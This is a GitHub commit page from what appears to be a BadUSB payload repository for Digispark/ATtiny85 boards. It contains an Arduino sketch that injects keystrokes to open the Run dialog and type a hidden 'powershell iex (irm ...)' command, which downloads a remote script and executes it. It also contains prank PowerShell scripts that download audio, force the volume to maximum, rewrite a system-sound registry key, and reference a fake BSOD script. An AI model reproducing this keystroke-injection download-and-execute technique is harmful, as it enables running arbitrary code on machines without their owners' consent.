Skip to content

Commit

Permalink
added yamete ps1 files
Browse files Browse the repository at this point in the history
  • Loading branch information
msr8 committed Dec 22, 2023
1 parent 54ce40a commit 826eddf
Show file tree
Hide file tree
Showing 5 changed files with 49 additions and 26 deletions.
34 changes: 16 additions & 18 deletions Payloads/Script Runner/script_runner_win.ino
Original file line number Diff line number Diff line change
@@ -1,28 +1,26 @@
#include "DigiKeyboard.h"

void setup() {
// empty
// empty
}

void loop() {
// Initialise digispark
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(600);
// Initialise digispark
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(600);

// Opens the run dialog
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(600);
// Opens the run dialog
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(600);

// Writes the command
DigiKeyboard.print("powershell -w h ");
DigiKeyboard.print("iex (irm \"");
DigiKeyboard.print("https://raw.githubusercontent.com/msr8/attiny85/main/Shell%20Scripts/powershell/speak.ps1"); // LINK HERE
DigiKeyboard.print("\")");
// Enters it
DigiKeyboard.sendKeyStroke(KEY_ENTER);
// Writes the command
DigiKeyboard.print("powershell -w h ");
DigiKeyboard.print("iex (irm \"");
DigiKeyboard.print("https://raw.githubusercontent.com/msr8/attiny85/main/Shell%20Scripts/powershell/speak.ps1"); // LINK HERE
DigiKeyboard.print("\")");
// Enters it
DigiKeyboard.sendKeyStroke(KEY_ENTER);



for (;;) {/* Stops the loop */}
}

for (;;) {/* Stops the loop */}
}
1 change: 0 additions & 1 deletion Shell Scripts/powershell/real_bsod.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@

$source = @"
using System;
using System.Runtime.InteropServices;
Expand Down
19 changes: 12 additions & 7 deletions Shell Scripts/powershell/yamete-1.ps1
Original file line number Diff line number Diff line change
@@ -1,13 +1,18 @@
$URL = "https://raw.githubusercontent.com/msr8/attiny85/main/Assets/yamete-kudasai.wav"
$FP = "$env:TEMP\15791817.wav"

# Check if the file does not exist
if ( -not (Test-Path $FP) ) {
# if it doesnt exist, download the audio file and save it in the temporary directory
# https://stackoverflow.com/a/51225744/17002774
Invoke-WebRequest -Uri $URL -OutFile $FP
}
# Download the audio file and save it in the temporary directory
# https://stackoverflow.com/a/51225744/17002774
Invoke-WebRequest $URL -OutFile $FP

# Change volume to full
$wshShell = New-Object -ComObject WScript.Shell
1..50 | ForEach-Object { $wshShell.SendKeys([char]175) }

# Play the audio file
# https://stackoverflow.com/a/73538809/17002774
(New-Object System.Media.SoundPlayer($FP)).PlaySync()
(New-Object System.Media.SoundPlayer($FP)).PlaySync()

# Delete the audio file
# (https://www.easeus.com/computer-instruction/delete-file-powershell.html)
Remove-Item -Path $FP
19 changes: 19 additions & 0 deletions Shell Scripts/powershell/yamete-2.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
$URL = "https://raw.githubusercontent.com/msr8/attiny85/main/Assets/yamete-kudasai.wav"
$FP = "$env:TEMP\15791817.wav"
# Uncomment the below line to "fix" the sound
# $FP = "C:\Windows\Media\Windows Hardware Insert.wav"

# Check if the file does not exist
if ( -not (Test-Path $FP) ) {
# If it doesnt exist, download the audio file and save it in the temporary directory
# https://stackoverflow.com/a/51225744/17002774
Invoke-WebRequest $URL -OutFile $FP
}

Set-ItemProperty -Value $FP -Path "HKCU:\AppEvents\Schemes\Apps\.Default\DeviceConnect\.Current" -Name "(Default)"

# https://www.dmcinfo.com/latest-thinking/blog/id/9338/automatically-change-windows-system-sounds
# https://stackoverflow.com/questions/66824212/change-default-windows-sound-with-powershell
# https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4


2 changes: 2 additions & 0 deletions Shell Scripts/powershell/yamete-3.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
# https://superuser.com/a/1033518
# https://stackoverflow.com/a/21130366/17002774

0 comments on commit 826eddf

Please sign in to comment.